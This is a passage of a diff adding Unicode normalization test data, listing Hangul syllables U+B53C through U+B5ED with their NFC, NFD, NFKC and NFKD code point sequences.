+{ source: [0xB53C], NFC: [0xB53C], NFD: [0x1104, 0x1161, 0x11B3], NFKC: [0xB53C], NFKD: [0x1104, 0x1161, 0x11B3] },
+{ source: [0xB53D], NFC: [0xB53D], NFD: [0x1104, 0x1161, 0x11B4], NFKC: [0xB53D], NFKD: [0x1104, 0x1161, 0x11B4] },
+{ source: [0xB53E], NFC: [0xB53E], NFD: [0x1104, 0x1161, 0x11B5], NFKC: [0xB53E], NFKD: [0x1104, 0x1161, 0x11B5] },
+{ source: [0xB53F], NFC: [0xB53F], NFD: [0x1104, 0x1161, 0x11B6], NFKC: [0xB53F], NFKD: [0x1104, 0x1161, 0x11B6] },
+{ source: [0xB540], NFC: [0xB540], NFD: [0x1104, 0x1161, 0x11B7], NFKC: [0xB540], NFKD: [0x1104, 0x1161, 0x11B7] },
+{ source: [0xB541], NFC: [0xB541], NFD: [0x1104, 0x1161, 0x11B8], NFKC: [0xB541], NFKD: [0x1104, 0x1161, 0x11B8] },
+{ source: [0xB542], NFC: [0xB542], NFD: [0x1104, 0x1161, 0x11B9], NFKC: [0xB542], NFKD: [0x1104, 0x1161, 0x11B9] },
+{ source: [0xB543], NFC: [0xB543], NFD: [0x1104, 0x1161, 0x11BA], NFKC: [0xB543], NFKD: [0x1104, 0x1161, 0x11BA] },
+{ source: [0xB544], NFC: [0xB544], NFD: [0x1104, 0x1161, 0x11BB], NFKC: [0xB544], NFKD: [0x1104, 0x1161, 0x11BB] },
+{ source: [0xB545], NFC: [0xB545], NFD: [0x1104, 0x1161, 0x11BC], NFKC: [0xB545], NFKD: [0x1104, 0x1161, 0x11BC] },
+{ source: [0xB546], NFC: [0xB546], NFD: [0x1104, 0x1161, 0x11BD], NFKC: [0xB546], NFKD: [0x1104, 0x1161, 0x11BD] },
+{ source: [0xB547], NFC: [0xB547], NFD: [0x1104, 0x1161, 0x11BE], NFKC: [0xB547], NFKD: [0x1104, 0x1161, 0x11BE] },
+{ source: [0xB548], NFC: [0xB548], NFD: [0x1104, 0x1161, 0x11BF], NFKC: [0xB548], NFKD: [0x1104, 0x1161, 0x11BF] },
+{ source: [0xB549], NFC: [0xB549], NFD: [0x1104, 0x1161, 0x11C0], NFKC: [0xB549], NFKD: [0x1104, 0x1161, 0x11C0] },
+{ source: [0xB54A], NFC: [0xB54A], NFD: [0x1104, 0x1161, 0x11C1], NFKC: [0xB54A], NFKD: [0x1104, 0x1161, 0x11C1] },
+{ source: [0xB54B], NFC: [0xB54B], NFD: [0x1104, 0x1161, 0x11C2], NFKC: [0xB54B], NFKD: [0x1104, 0x1161, 0x11C2] },
+{ source: [0xB54C], NFC: [0xB54C], NFD: [0x1104, 0x1162], NFKC: [0xB54C], NFKD: [0x1104, 0x1162] },
+{ source: [0xB54D], NFC: [0xB54D], NFD: [0x1104, 0x1162, 0x11A8], NFKC: [0xB54D], NFKD: [0x1104, 0x1162, 0x11A8] },
+{ source: [0xB54E], NFC: [0xB54E], NFD: [0x1104, 0x1162, 0x11A9], NFKC: [0xB54E], NFKD: [0x1104, 0x1162, 0x11A9] },
+{ source: [0xB54F], NFC: [0xB54F], NFD: [0x1104, 0x1162, 0x11AA], NFKC: [0xB54F], NFKD: [0x1104, 0x1162, 0x11AA] },
+{ source: [0xB550], NFC: [0xB550], NFD: [0x1104, 0x1162, 0x11AB], NFKC: [0xB550], NFKD: [0x1104, 0x1162, 0x11AB] },
+{ source: [0xB551], NFC: [0xB551], NFD: [0x1104, 0x1162, 0x11AC], NFKC: [0xB551], NFKD: [0x1104, 0x1162, 0x11AC] },
+{ source: [0xB552], NFC: [0xB552], NFD: [0x1104, 0x1162, 0x11AD], NFKC: [0xB552], NFKD: [0x1104, 0x1162, 0x11AD] },
+{ source: [0xB553], NFC: [0xB553], NFD: [0x1104, 0x1162, 0x11AE], NFKC: [0xB553], NFKD: [0x1104, 0x1162, 0x11AE] },
+{ source: [0xB554], NFC: [0xB554], NFD: [0x1104, 0x1162, 0x11AF], NFKC: [0xB554], NFKD: [0x1104, 0x1162, 0x11AF] },
+{ source: [0xB555], NFC: [0xB555], NFD: [0x1104, 0x1162, 0x11B0], NFKC: [0xB555], NFKD: [0x1104, 0x1162, 0x11B0] },
+{ source: [0xB556], NFC: [0xB556], NFD: [0x1104, 0x1162, 0x11B1], NFKC: [0xB556], NFKD: [0x1104, 0x1162, 0x11B1] },
+{ source: [0xB557], NFC: [0xB557], NFD: [0x1104, 0x1162, 0x11B2], NFKC: [0xB557], NFKD: [0x1104, 0x1162, 0x11B2] },
+{ source: [0xB558], NFC: [0xB558], NFD: [0x1104, 0x1162, 0x11B3], NFKC: [0xB558], NFKD: [0x1104, 0x1162, 0x11B3] },
+{ source: [0xB559], NFC: [0xB559], NFD: [0x1104, 0x1162, 0x11B4], NFKC: [0xB559], NFKD: [0x1104, 0x1162, 0x11B4] },
+{ source: [0xB55A], NFC: [0xB55A], NFD: [0x1104, 0x1162, 0x11B5], NFKC: [0xB55A], NFKD: [0x1104, 0x1162, 0x11B5] },
+{ source: [0xB55B], NFC: [0xB55B], NFD: [0x1104, 0x1162, 0x11B6], NFKC: [0xB55B], NFKD: [0x1104, 0x1162, 0x11B6] },
+{ source: [0xB55C], NFC: [0xB55C], NFD: [0x1104, 0x1162, 0x11B7], NFKC: [0xB55C], NFKD: [0x1104, 0x1162, 0x11B7] },
+{ source: [0xB55D], NFC: [0xB55D], NFD: [0x1104, 0x1162, 0x11B8], NFKC: [0xB55D], NFKD: [0x1104, 0x1162, 0x11B8] },
+{ source: [0xB55E], NFC: [0xB55E], NFD: [0x1104, 0x1162, 0x11B9], NFKC: [0xB55E], NFKD: [0x1104, 0x1162, 0x11B9] },
+{ source: [0xB55F], NFC: [0xB55F], NFD: [0x1104, 0x1162, 0x11BA], NFKC: [0xB55F], NFKD: [0x1104, 0x1162, 0x11BA] },
+{ source: [0xB560], NFC: [0xB560], NFD: [0x1104, 0x1162, 0x11BB], NFKC: [0xB560], NFKD: [0x1104, 0x1162, 0x11BB] },
+{ source: [0xB561], NFC: [0xB561], NFD: [0x1104, 0x1162, 0x11BC], NFKC: [0xB561], NFKD: [0x1104, 0x1162, 0x11BC] },
+{ source: [0xB562], NFC: [0xB562], NFD: [0x1104, 0x1162, 0x11BD], NFKC: [0xB562], NFKD: [0x1104, 0x1162, 0x11BD] },
+{ source: [0xB563], NFC: [0xB563], NFD: [0x1104, 0x1162, 0x11BE], NFKC: [0xB563], NFKD: [0x1104, 0x1162, 0x11BE] },
+{ source: [0xB564], NFC: [0xB564], NFD: [0x1104, 0x1162, 0x11BF], NFKC: [0xB564], NFKD: [0x1104, 0x1162, 0x11BF] },
+{ source: [0xB565], NFC: [0xB565], NFD: [0x1104, 0x1162, 0x11C0], NFKC: [0xB565], NFKD: [0x1104, 0x1162, 0x11C0] },
+{ source: [0xB566], NFC: [0xB566], NFD: [0x1104, 0x1162, 0x11C1], NFKC: [0xB566], NFKD: [0x1104, 0x1162, 0x11C1] },
+{ source: [0xB567], NFC: [0xB567], NFD: [0x1104, 0x1162, 0x11C2], NFKC: [0xB567], NFKD: [0x1104, 0x1162, 0x11C2] },
+{ source: [0xB568], NFC: [0xB568], NFD: [0x1104, 0x1163], NFKC: [0xB568], NFKD: [0x1104, 0x1163] },
+{ source: [0xB569], NFC: [0xB569], NFD: [0x1104, 0x1163, 0x11A8], NFKC: [0xB569], NFKD: [0x1104, 0x1163, 0x11A8] },
+{ source: [0xB56A], NFC: [0xB56A], NFD: [0x1104, 0x1163, 0x11A9], NFKC: [0xB56A], NFKD: [0x1104, 0x1163, 0x11A9] },
+{ source: [0xB56B], NFC: [0xB56B], NFD: [0x1104, 0x1163, 0x11AA], NFKC: [0xB56B], NFKD: [0x1104, 0x1163, 0x11AA] },
+{ source: [0xB56C], NFC: [0xB56C], NFD: [0x1104, 0x1163, 0x11AB], NFKC: [0xB56C], NFKD: [0x1104, 0x1163, 0x11AB] },
+{ source: [0xB56D], NFC: [0xB56D], NFD: [0x1104, 0x1163, 0x11AC], NFKC: [0xB56D], NFKD: [0x1104, 0x1163, 0x11AC] },
+{ source: [0xB56E], NFC: [0xB56E], NFD: [0x1104, 0x1163, 0x11AD], NFKC: [0xB56E], NFKD: [0x1104, 0x1163, 0x11AD] },
+{ source: [0xB56F], NFC: [0xB56F], NFD: [0x1104, 0x1163, 0x11AE], NFKC: [0xB56F], NFKD: [0x1104, 0x1163, 0x11AE] },
+{ source: [0xB570], NFC: [0xB570], NFD: [0x1104, 0x1163, 0x11AF], NFKC: [0xB570], NFKD: [0x1104, 0x1163, 0x11AF] },
+{ source: [0xB571], NFC: [0xB571], NFD: [0x1104, 0x1163, 0x11B0], NFKC: [0xB571], NFKD: [0x1104, 0x1163, 0x11B0] },
+{ source: [0xB572], NFC: [0xB572], NFD: [0x1104, 0x1163, 0x11B1], NFKC: [0xB572], NFKD: [0x1104, 0x1163, 0x11B1] },
+{ source: [0xB573], NFC: [0xB573], NFD: [0x1104, 0x1163, 0x11B2], NFKC: [0xB573], NFKD: [0x1104, 0x1163, 0x11B2] },
+{ source: [0xB574], NFC: [0xB574], NFD: [0x1104, 0x1163, 0x11B3], NFKC: [0xB574], NFKD: [0x1104, 0x1163, 0x11B3] },
+{ source: [0xB575], NFC: [0xB575], NFD: [0x1104, 0x1163, 0x11B4], NFKC: [0xB575], NFKD: [0x1104, 0x1163, 0x11B4] },
+{ source: [0xB576], NFC: [0xB576], NFD: [0x1104, 0x1163, 0x11B5], NFKC: [0xB576], NFKD: [0x1104, 0x1163, 0x11B5] },
+{ source: [0xB577], NFC: [0xB577], NFD: [0x1104, 0x1163, 0x11B6], NFKC: [0xB577], NFKD: [0x1104, 0x1163, 0x11B6] },
+{ source: [0xB578], NFC: [0xB578], NFD: [0x1104, 0x1163, 0x11B7], NFKC: [0xB578], NFKD: [0x1104, 0x1163, 0x11B7] },
+{ source: [0xB579], NFC: [0xB579], NFD: [0x1104, 0x1163, 0x11B8], NFKC: [0xB579], NFKD: [0x1104, 0x1163, 0x11B8] },
+{ source: [0xB57A], NFC: [0xB57A], NFD: [0x1104, 0x1163, 0x11B9], NFKC: [0xB57A], NFKD: [0x1104, 0x1163, 0x11B9] },
+{ source: [0xB57B], NFC: [0xB57B], NFD: [0x1104, 0x1163, 0x11BA], NFKC: [0xB57B], NFKD: [0x1104, 0x1163, 0x11BA] },
+{ source: [0xB57C], NFC: [0xB57C], NFD: [0x1104, 0x1163, 0x11BB], NFKC: [0xB57C], NFKD: [0x1104, 0x1163, 0x11BB] },
+{ source: [0xB57D], NFC: [0xB57D], NFD: [0x1104, 0x1163, 0x11BC], NFKC: [0xB57D], NFKD: [0x1104, 0x1163, 0x11BC] },
+{ source: [0xB57E], NFC: [0xB57E], NFD: [0x1104, 0x1163, 0x11BD], NFKC: [0xB57E], NFKD: [0x1104, 0x1163, 0x11BD] },
+{ source: [0xB57F], NFC: [0xB57F], NFD: [0x1104, 0x1163, 0x11BE], NFKC: [0xB57F], NFKD: [0x1104, 0x1163, 0x11BE] },
+{ source: [0xB580], NFC: [0xB580], NFD: [0x1104, 0x1163, 0x11BF], NFKC: [0xB580], NFKD: [0x1104, 0x1163, 0x11BF] },
+{ source: [0xB581], NFC: [0xB581], NFD: [0x1104, 0x1163, 0x11C0], NFKC: [0xB581], NFKD: [0x1104, 0x1163, 0x11C0] },
+{ source: [0xB582], NFC: [0xB582], NFD: [0x1104, 0x1163, 0x11C1], NFKC: [0xB582], NFKD: [0x1104, 0x1163, 0x11C1] },
+{ source: [0xB583], NFC: [0xB583], NFD: [0x1104, 0x1163, 0x11C2], NFKC: [0xB583], NFKD: [0x1104, 0x1163, 0x11C2] },
+{ source: [0xB584], NFC: [0xB584], NFD: [0x1104, 0x1164], NFKC: [0xB584], NFKD: [0x1104, 0x1164] },
+{ source: [0xB585], NFC: [0xB585], NFD: [0x1104, 0x1164, 0x11A8], NFKC: [0xB585], NFKD: [0x1104, 0x1164, 0x11A8] },
+{ source: [0xB586], NFC: [0xB586], NFD: [0x1104, 0x1164, 0x11A9], NFKC: [0xB586], NFKD: [0x1104, 0x1164, 0x11A9] },
+{ source: [0xB587], NFC: [0xB587], NFD: [0x1104, 0x1164, 0x11AA], NFKC: [0xB587], NFKD: [0x1104, 0x1164, 0x11AA] },
+{ source: [0xB588], NFC: [0xB588], NFD: [0x1104, 0x1164, 0x11AB], NFKC: [0xB588], NFKD: [0x1104, 0x1164, 0x11AB] },
+{ source: [0xB589], NFC: [0xB589], NFD: [0x1104, 0x1164, 0x11AC], NFKC: [0xB589], NFKD: [0x1104, 0x1164, 0x11AC] },
+{ source: [0xB58A], NFC: [0xB58A], NFD: [0x1104, 0x1164, 0x11AD], NFKC: [0xB58A], NFKD: [0x1104, 0x1164, 0x11AD] },
+{ source: [0xB58B], NFC: [0xB58B], NFD: [0x1104, 0x1164, 0x11AE], NFKC: [0xB58B], NFKD: [0x1104, 0x1164, 0x11AE] },
+{ source: [0xB58C], NFC: [0xB58C], NFD: [0x1104, 0x1164, 0x11AF], NFKC: [0xB58C], NFKD: [0x1104, 0x1164, 0x11AF] },
+{ source: [0xB58D], NFC: [0xB58D], NFD: [0x1104, 0x1164, 0x11B0], NFKC: [0xB58D], NFKD: [0x1104, 0x1164, 0x11B0] },
+{ source: [0xB58E], NFC: [0xB58E], NFD: [0x1104, 0x1164, 0x11B1], NFKC: [0xB58E], NFKD: [0x1104, 0x1164, 0x11B1] },
+{ source: [0xB58F], NFC: [0xB58F], NFD: [0x1104, 0x1164, 0x11B2], NFKC: [0xB58F], NFKD: [0x1104, 0x1164, 0x11B2] },
+{ source: [0xB590], NFC: [0xB590], NFD: [0x1104, 0x1164, 0x11B3], NFKC: [0xB590], NFKD: [0x1104, 0x1164, 0x11B3] },
+{ source: [0xB591], NFC: [0xB591], NFD: [0x1104, 0x1164, 0x11B4], NFKC: [0xB591], NFKD: [0x1104, 0x1164, 0x11B4] },
+{ source: [0xB592], NFC: [0xB592], NFD: [0x1104, 0x1164, 0x11B5], NFKC: [0xB592], NFKD: [0x1104, 0x1164, 0x11B5] },
+{ source: [0xB593], NFC: [0xB593], NFD: [0x1104, 0x1164, 0x11B6], NFKC: [0xB593], NFKD: [0x1104, 0x1164, 0x11B6] },
+{ source: [0xB594], NFC: [0xB594], NFD: [0x1104, 0x1164, 0x11B7], NFKC: [0xB594], NFKD: [0x1104, 0x1164, 0x11B7] },
+{ source: [0xB595], NFC: [0xB595], NFD: [0x1104, 0x1164, 0x11B8], NFKC: [0xB595], NFKD: [0x1104, 0x1164, 0x11B8] },
+{ source: [0xB596], NFC: [0xB596], NFD: [0x1104, 0x1164, 0x11B9], NFKC: [0xB596], NFKD: [0x1104, 0x1164, 0x11B9] },
+{ source: [0xB597], NFC: [0xB597], NFD: [0x1104, 0x1164, 0x11BA], NFKC: [0xB597], NFKD: [0x1104, 0x1164, 0x11BA] },
+{ source: [0xB598], NFC: [0xB598], NFD: [0x1104, 0x1164, 0x11BB], NFKC: [0xB598], NFKD: [0x1104, 0x1164, 0x11BB] },
+{ source: [0xB599], NFC: [0xB599], NFD: [0x1104, 0x1164, 0x11BC], NFKC: [0xB599], NFKD: [0x1104, 0x1164, 0x11BC] },
+{ source: [0xB59A], NFC: [0xB59A], NFD: [0x1104, 0x1164, 0x11BD], NFKC: [0xB59A], NFKD: [0x1104, 0x1164, 0x11BD] },
+{ source: [0xB59B], NFC: [0xB59B], NFD: [0x1104, 0x1164, 0x11BE], NFKC: [0xB59B], NFKD: [0x1104, 0x1164, 0x11BE] },
+{ source: [0xB59C], NFC: [0xB59C], NFD: [0x1104, 0x1164, 0x11BF], NFKC: [0xB59C], NFKD: [0x1104, 0x1164, 0x11BF] },
+{ source: [0xB59D], NFC: [0xB59D], NFD: [0x1104, 0x1164, 0x11C0], NFKC: [0xB59D], NFKD: [0x1104, 0x1164, 0x11C0] },
+{ source: [0xB59E], NFC: [0xB59E], NFD: [0x1104, 0x1164, 0x11C1], NFKC: [0xB59E], NFKD: [0x1104, 0x1164, 0x11C1] },
+{ source: [0xB59F], NFC: [0xB59F], NFD: [0x1104, 0x1164, 0x11C2], NFKC: [0xB59F], NFKD: [0x1104, 0x1164, 0x11C2] },
+{ source: [0xB5A0], NFC: [0xB5A0], NFD: [0x1104, 0x1165], NFKC: [0xB5A0], NFKD: [0x1104, 0x1165] },
+{ source: [0xB5A1], NFC: [0xB5A1], NFD: [0x1104, 0x1165, 0x11A8], NFKC: [0xB5A1], NFKD: [0x1104, 0x1165, 0x11A8] },
+{ source: [0xB5A2], NFC: [0xB5A2], NFD: [0x1104, 0x1165, 0x11A9], NFKC: [0xB5A2], NFKD: [0x1104, 0x1165, 0x11A9] },
+{ source: [0xB5A3], NFC: [0xB5A3], NFD: [0x1104, 0x1165, 0x11AA], NFKC: [0xB5A3], NFKD: [0x1104, 0x1165, 0x11AA] },
+{ source: [0xB5A4], NFC: [0xB5A4], NFD: [0x1104, 0x1165, 0x11AB], NFKC: [0xB5A4], NFKD: [0x1104, 0x1165, 0x11AB] },
+{ source: [0xB5A5], NFC: [0xB5A5], NFD: [0x1104, 0x1165, 0x11AC], NFKC: [0xB5A5], NFKD: [0x1104, 0x1165, 0x11AC] },
+{ source: [0xB5A6], NFC: [0xB5A6], NFD: [0x1104, 0x1165, 0x11AD], NFKC: [0xB5A6], NFKD: [0x1104, 0x1165, 0x11AD] },
+{ source: [0xB5A7], NFC: [0xB5A7], NFD: [0x1104, 0x1165, 0x11AE], NFKC: [0xB5A7], NFKD: [0x1104, 0x1165, 0x11AE] },
+{ source: [0xB5A8], NFC: [0xB5A8], NFD: [0x1104, 0x1165, 0x11AF], NFKC: [0xB5A8], NFKD: [0x1104, 0x1165, 0x11AF] },
+{ source: [0xB5A9], NFC: [0xB5A9], NFD: [0x1104, 0x1165, 0x11B0], NFKC: [0xB5A9], NFKD: [0x1104, 0x1165, 0x11B0] },
+{ source: [0xB5AA], NFC: [0xB5AA], NFD: [0x1104, 0x1165, 0x11B1], NFKC: [0xB5AA], NFKD: [0x1104, 0x1165, 0x11B1] },
+{ source: [0xB5AB], NFC: [0xB5AB], NFD: [0x1104, 0x1165, 0x11B2], NFKC: [0xB5AB], NFKD: [0x1104, 0x1165, 0x11B2] },
+{ source: [0xB5AC], NFC: [0xB5AC], NFD: [0x1104, 0x1165, 0x11B3], NFKC: [0xB5AC], NFKD: [0x1104, 0x1165, 0x11B3] },
+{ source: [0xB5AD], NFC: [0xB5AD], NFD: [0x1104, 0x1165, 0x11B4], NFKC: [0xB5AD], NFKD: [0x1104, 0x1165, 0x11B4] },
+{ source: [0xB5AE], NFC: [0xB5AE], NFD: [0x1104, 0x1165, 0x11B5], NFKC: [0xB5AE], NFKD: [0x1104, 0x1165, 0x11B5] },
+{ source: [0xB5AF], NFC: [0xB5AF], NFD: [0x1104, 0x1165, 0x11B6], NFKC: [0xB5AF], NFKD: [0x1104, 0x1165, 0x11B6] },
+{ source: [0xB5B0], NFC: [0xB5B0], NFD: [0x1104, 0x1165, 0x11B7], NFKC: [0xB5B0], NFKD: [0x1104, 0x1165, 0x11B7] },
+{ source: [0xB5B1], NFC: [0xB5B1], NFD: [0x1104, 0x1165, 0x11B8], NFKC: [0xB5B1], NFKD: [0x1104, 0x1165, 0x11B8] },
+{ source: [0xB5B2], NFC: [0xB5B2], NFD: [0x1104, 0x1165, 0x11B9], NFKC: [0xB5B2], NFKD: [0x1104, 0x1165, 0x11B9] },
+{ source: [0xB5B3], NFC: [0xB5B3], NFD: [0x1104, 0x1165, 0x11BA], NFKC: [0xB5B3], NFKD: [0x1104, 0x1165, 0x11BA] },
+{ source: [0xB5B4], NFC: [0xB5B4], NFD: [0x1104, 0x1165, 0x11BB], NFKC: [0xB5B4], NFKD: [0x1104, 0x1165, 0x11BB] },
+{ source: [0xB5B5], NFC: [0xB5B5], NFD: [0x1104, 0x1165, 0x11BC], NFKC: [0xB5B5], NFKD: [0x1104, 0x1165, 0x11BC] },
+{ source: [0xB5B6], NFC: [0xB5B6], NFD: [0x1104, 0x1165, 0x11BD], NFKC: [0xB5B6], NFKD: [0x1104, 0x1165, 0x11BD] },
+{ source: [0xB5B7], NFC: [0xB5B7], NFD: [0x1104, 0x1165, 0x11BE], NFKC: [0xB5B7], NFKD: [0x1104, 0x1165, 0x11BE] },
+{ source: [0xB5B8], NFC: [0xB5B8], NFD: [0x1104, 0x1165, 0x11BF], NFKC: [0xB5B8], NFKD: [0x1104, 0x1165, 0x11BF] },
+{ source: [0xB5B9], NFC: [0xB5B9], NFD: [0x1104, 0x1165, 0x11C0], NFKC: [0xB5B9], NFKD: [0x1104, 0x1165, 0x11C0] },
+{ source: [0xB5BA], NFC: [0xB5BA], NFD: [0x1104, 0x1165, 0x11C1], NFKC: [0xB5BA], NFKD: [0x1104, 0x1165, 0x11C1] },
+{ source: [0xB5BB], NFC: [0xB5BB], NFD: [0x1104, 0x1165, 0x11C2], NFKC: [0xB5BB], NFKD: [0x1104, 0x1165, 0x11C2] },
+{ source: [0xB5BC], NFC: [0xB5BC], NFD: [0x1104, 0x1166], NFKC: [0xB5BC], NFKD: [0x1104, 0x1166] },
+{ source: [0xB5BD], NFC: [0xB5BD], NFD: [0x1104, 0x1166, 0x11A8], NFKC: [0xB5BD], NFKD: [0x1104, 0x1166, 0x11A8] },
+{ source: [0xB5BE], NFC: [0xB5BE], NFD: [0x1104, 0x1166, 0x11A9], NFKC: [0xB5BE], NFKD: [0x1104, 0x1166, 0x11A9] },
+{ source: [0xB5BF], NFC: [0xB5BF], NFD: [0x1104, 0x1166, 0x11AA], NFKC: [0xB5BF], NFKD: [0x1104, 0x1166, 0x11AA] },
+{ source: [0xB5C0], NFC: [0xB5C0], NFD: [0x1104, 0x1166, 0x11AB], NFKC: [0xB5C0], NFKD: [0x1104, 0x1166, 0x11AB] },
+{ source: [0xB5C1], NFC: [0xB5C1], NFD: [0x1104, 0x1166, 0x11AC], NFKC: [0xB5C1], NFKD: [0x1104, 0x1166, 0x11AC] },
+{ source: [0xB5C2], NFC: [0xB5C2], NFD: [0x1104, 0x1166, 0x11AD], NFKC: [0xB5C2], NFKD: [0x1104, 0x1166, 0x11AD] },
+{ source: [0xB5C3], NFC: [0xB5C3], NFD: [0x1104, 0x1166, 0x11AE], NFKC: [0xB5C3], NFKD: [0x1104, 0x1166, 0x11AE] },
+{ source: [0xB5C4], NFC: [0xB5C4], NFD: [0x1104, 0x1166, 0x11AF], NFKC: [0xB5C4], NFKD: [0x1104, 0x1166, 0x11AF] },
+{ source: [0xB5C5], NFC: [0xB5C5], NFD: [0x1104, 0x1166, 0x11B0], NFKC: [0xB5C5], NFKD: [0x1104, 0x1166, 0x11B0] },
+{ source: [0xB5C6], NFC: [0xB5C6], NFD: [0x1104, 0x1166, 0x11B1], NFKC: [0xB5C6], NFKD: [0x1104, 0x1166, 0x11B1] },
+{ source: [0xB5C7], NFC: [0xB5C7], NFD: [0x1104, 0x1166, 0x11B2], NFKC: [0xB5C7], NFKD: [0x1104, 0x1166, 0x11B2] },
+{ source: [0xB5C8], NFC: [0xB5C8], NFD: [0x1104, 0x1166, 0x11B3], NFKC: [0xB5C8], NFKD: [0x1104, 0x1166, 0x11B3] },
+{ source: [0xB5C9], NFC: [0xB5C9], NFD: [0x1104, 0x1166, 0x11B4], NFKC: [0xB5C9], NFKD: [0x1104, 0x1166, 0x11B4] },
+{ source: [0xB5CA], NFC: [0xB5CA], NFD: [0x1104, 0x1166, 0x11B5], NFKC: [0xB5CA], NFKD: [0x1104, 0x1166, 0x11B5] },
+{ source: [0xB5CB], NFC: [0xB5CB], NFD: [0x1104, 0x1166, 0x11B6], NFKC: [0xB5CB], NFKD: [0x1104, 0x1166, 0x11B6] },
+{ source: [0xB5CC], NFC: [0xB5CC], NFD: [0x1104, 0x1166, 0x11B7], NFKC: [0xB5CC], NFKD: [0x1104, 0x1166, 0x11B7] },
+{ source: [0xB5CD], NFC: [0xB5CD], NFD: [0x1104, 0x1166, 0x11B8], NFKC: [0xB5CD], NFKD: [0x1104, 0x1166, 0x11B8] },
+{ source: [0xB5CE], NFC: [0xB5CE], NFD: [0x1104, 0x1166, 0x11B9], NFKC: [0xB5CE], NFKD: [0x1104, 0x1166, 0x11B9] },
+{ source: [0xB5CF], NFC: [0xB5CF], NFD: [0x1104, 0x1166, 0x11BA], NFKC: [0xB5CF], NFKD: [0x1104, 0x1166, 0x11BA] },
+{ source: [0xB5D0], NFC: [0xB5D0], NFD: [0x1104, 0x1166, 0x11BB], NFKC: [0xB5D0], NFKD: [0x1104, 0x1166, 0x11BB] },
+{ source: [0xB5D1], NFC: [0xB5D1], NFD: [0x1104, 0x1166, 0x11BC], NFKC: [0xB5D1], NFKD: [0x1104, 0x1166, 0x11BC] },
+{ source: [0xB5D2], NFC: [0xB5D2], NFD: [0x1104, 0x1166, 0x11BD], NFKC: [0xB5D2], NFKD: [0x1104, 0x1166, 0x11BD] },
+{ source: [0xB5D3], NFC: [0xB5D3], NFD: [0x1104, 0x1166, 0x11BE], NFKC: [0xB5D3], NFKD: [0x1104, 0x1166, 0x11BE] },
+{ source: [0xB5D4], NFC: [0xB5D4], NFD: [0x1104, 0x1166, 0x11BF], NFKC: [0xB5D4], NFKD: [0x1104, 0x1166, 0x11BF] },
+{ source: [0xB5D5], NFC: [0xB5D5], NFD: [0x1104, 0x1166, 0x11C0], NFKC: [0xB5D5], NFKD: [0x1104, 0x1166, 0x11C0] },
+{ source: [0xB5D6], NFC: [0xB5D6], NFD: [0x1104, 0x1166, 0x11C1], NFKC: [0xB5D6], NFKD: [0x1104, 0x1166, 0x11C1] },
+{ source: [0xB5D7], NFC: [0xB5D7], NFD: [0x1104, 0x1166, 0x11C2], NFKC: [0xB5D7], NFKD: [0x1104, 0x1166, 0x11C2] },
+{ source: [0xB5D8], NFC: [0xB5D8], NFD: [0x1104, 0x1167], NFKC: [0xB5D8], NFKD: [0x1104, 0x1167] },
+{ source: [0xB5D9], NFC: [0xB5D9], NFD: [0x1104, 0x1167, 0x11A8], NFKC: [0xB5D9], NFKD: [0x1104, 0x1167, 0x11A8] },
+{ source: [0xB5DA], NFC: [0xB5DA], NFD: [0x1104, 0x1167, 0x11A9], NFKC: [0xB5DA], NFKD: [0x1104, 0x1167, 0x11A9] },
+{ source: [0xB5DB], NFC: [0xB5DB], NFD: [0x1104, 0x1167, 0x11AA], NFKC: [0xB5DB], NFKD: [0x1104, 0x1167, 0x11AA] },
+{ source: [0xB5DC], NFC: [0xB5DC], NFD: [0x1104, 0x1167, 0x11AB], NFKC: [0xB5DC], NFKD: [0x1104, 0x1167, 0x11AB] },
+{ source: [0xB5DD], NFC: [0xB5DD], NFD: [0x1104, 0x1167, 0x11AC], NFKC: [0xB5DD], NFKD: [0x1104, 0x1167, 0x11AC] },
+{ source: [0xB5DE], NFC: [0xB5DE], NFD: [0x1104, 0x1167, 0x11AD], NFKC: [0xB5DE], NFKD: [0x1104, 0x1167, 0x11AD] },
+{ source: [0xB5DF], NFC: [0xB5DF], NFD: [0x1104, 0x1167, 0x11AE], NFKC: [0xB5DF], NFKD: [0x1104, 0x1167, 0x11AE] },
+{ source: [0xB5E0], NFC: [0xB5E0], NFD: [0x1104, 0x1167, 0x11AF], NFKC: [0xB5E0], NFKD: [0x1104, 0x1167, 0x11AF] },
+{ source: [0xB5E1], NFC: [0xB5E1], NFD: [0x1104, 0x1167, 0x11B0], NFKC: [0xB5E1], NFKD: [0x1104, 0x1167, 0x11B0] },
+{ source: [0xB5E2], NFC: [0xB5E2], NFD: [0x1104, 0x1167, 0x11B1], NFKC: [0xB5E2], NFKD: [0x1104, 0x1167, 0x11B1] },
+{ source: [0xB5E3], NFC: [0xB5E3], NFD: [0x1104, 0x1167, 0x11B2], NFKC: [0xB5E3], NFKD: [0x1104, 0x1167, 0x11B2] },
+{ source: [0xB5E4], NFC: [0xB5E4], NFD: [0x1104, 0x1167, 0x11B3], NFKC: [0xB5E4], NFKD: [0x1104, 0x1167, 0x11B3] },
+{ source: [0xB5E5], NFC: [0xB5E5], NFD: [0x1104, 0x1167, 0x11B4], NFKC: [0xB5E5], NFKD: [0x1104, 0x1167, 0x11B4] },
+{ source: [0xB5E6], NFC: [0xB5E6], NFD: [0x1104, 0x1167, 0x11B5], NFKC: [0xB5E6], NFKD: [0x1104, 0x1167, 0x11B5] },
+{ source: [0xB5E7], NFC: [0xB5E7], NFD: [0x1104, 0x1167, 0x11B6], NFKC: [0xB5E7], NFKD: [0x1104, 0x1167, 0x11B6] },
+{ source: [0xB5E8], NFC: [0xB5E8], NFD: [0x1104, 0x1167, 0x11B7], NFKC: [0xB5E8], NFKD: [0x1104, 0x1167, 0x11B7] },
+{ source: [0xB5E9], NFC: [0xB5E9], NFD: [0x1104, 0x1167, 0x11B8], NFKC: [0xB5E9], NFKD: [0x1104, 0x1167, 0x11B8] },
+{ source: [0xB5EA], NFC: [0xB5EA], NFD: [0x1104, 0x1167, 0x11B9], NFKC: [0xB5EA], NFKD: [0x1104, 0x1167, 0x11B9] },
+{ source: [0xB5EB], NFC: [0xB5EB], NFD: [0x1104, 0x1167, 0x11BA], NFKC: [0xB5EB], NFKD: [0x1104, 0x1167, 0x11BA] },
+{ source: [0xB5EC], NFC: [0xB5EC], NFD: [0x1104, 0x1167, 0x11BB], NFKC: [0xB5EC], NFKD: [0x1104, 0x1167, 0x11BB] },
+{ source: [0xB5ED], NFC: [0xB5ED], NFD: [0x1104, 0x1167, 0x11BC], NFKC: [0xB5ED], NFKD: [0x1104, 0x1167, 0x11BC] },
